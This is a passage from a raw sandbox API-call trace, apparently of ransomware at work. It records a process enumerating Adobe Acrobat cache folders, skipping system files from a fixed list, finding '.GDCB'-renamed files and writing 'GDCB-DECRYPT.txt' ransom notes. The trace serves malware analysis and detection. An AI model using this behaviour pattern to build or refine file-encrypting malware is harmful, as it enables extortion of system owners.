Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0169.966] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 139 [0169.966] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0169.966] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0169.966] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.966] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.967] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt") returned 138 [0169.967] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.967] GetLastError () returned 0x50 [0169.967] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.968] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 121 [0169.968] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0169.968] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5a4dd8 [0169.968] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.968] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.968] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.968] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.968] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.968] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0169.968] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0169.968] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0169.968] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.968] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 139 [0169.968] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 139 [0169.968] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.968] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.968] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") returned 1 [0169.968] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0169.968] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0169.968] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.969] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 139 [0169.969] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 139 [0169.969] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.969] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.969] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0169.969] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0169.969] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0169.969] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.969] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 138 [0169.969] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 138 [0169.969] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.969] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.969] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0169.969] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0169.969] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0169.969] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.969] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 138 [0169.969] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 138 [0169.969] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.970] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.970] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.970] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.970] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0169.970] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\" [0169.970] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.970] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.970] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.970] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.970] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.970] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.970] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 127 [0169.970] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0169.970] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5a4e18 [0169.970] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.970] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.970] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.970] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.971] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.971] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0169.971] lstrcmpW (lpString1="AcroFnt15.lst", lpString2="..") returned 1 [0169.971] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0169.971] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 140 [0169.971] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.971] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.971] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0169.971] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0169.971] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0169.971] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 140 [0169.971] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.971] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.971] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.971] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.971] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0169.971] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 143 [0169.971] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.971] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0169.971] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0169.971] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.971] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt") returned 144 [0169.971] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\dc\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.972] GetLastError () returned 0x50 [0169.972] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.972] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 127 [0169.972] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0169.972] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5a4e18 [0169.972] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.972] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.972] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.972] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.972] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.972] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0169.972] lstrcmpW (lpString1="AcroFnt15.lst", lpString2="..") returned 1 [0169.972] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0169.972] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.973] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 140 [0169.973] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 140 [0169.973] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.973] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.973] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0169.973] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0169.973] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0169.973] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.973] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 140 [0169.973] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 140 [0169.973] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.973] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.973] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.973] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.973] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0169.973] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.973] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 143 [0169.973] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 143 [0169.973] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 143 [0169.974] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 143 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.974] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.974] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0169.974] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0169.974] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.974] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.974] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.974] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0169.974] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.974] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 137 [0169.974] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 137 [0169.974] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 137 [0169.974] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 137 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.974] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.975] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.975] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2=".") returned 1 [0169.975] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2="..") returned 1 [0169.975] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") 